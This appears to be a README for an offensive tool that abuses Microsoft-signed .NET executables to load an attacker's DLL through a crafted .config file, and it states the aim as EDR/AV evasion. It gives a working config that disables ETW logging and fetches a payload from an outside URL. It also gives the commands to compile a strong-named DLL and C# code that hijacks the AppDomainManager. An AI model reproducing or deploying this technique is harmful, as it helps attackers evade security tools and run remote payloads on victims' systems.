.netconfigloader's Introduction

.NetConfigLoader

List of .Net application signed by Microsoft that can be used to load a dll via a .config file. Ideal for EDR/AV evasion and execution policy bypass.

<configuration>
   <runtime>
      <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
         <dependentAssembly>
            <assemblyIdentity name="DLLNAME" publicKeyToken="deadbeef1337" culture="neutral" />
            <codeBase version="0.0.0.0" href="https://mr.un1k0d3r.world/payload"/>
         </dependentAssembly>
      </assemblyBinding>
      <etwEnable enabled="false" />
      <appDomainManagerAssembly value="DLLNAME, Version=0.0.0.0, Culture=neutral, PublicKeyToken=deadbeef1337" />
      <appDomainManagerType value="CLASSNAME" />
   </runtime>
</configuration>

Example:

msdeploy.exe you need to create msdeploy.exe.config and add the XML data provided above.

List of .Net Signed Microsoft Binaries

952 files on my system. List here: Signed Binaries

Compiling the DLL

The DLL needs to have strong name

sn.exe -k key.snk

csc.exe /t:library /keyfile:key.snk /out:my.dll Program.cs

Getting the strong name information for the .config file

PS> [System.Reflection.AssemblyName]::GetAssemblyName("C:\full\path\to\dll\my.dll").FullName

The DLL Structure

using System;
 
public sealed class CLASSNAME : AppDomainManager
{
    
    public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
    {  
         
        Program.Main(null);
          
        return;
    }
}

Recommend Projects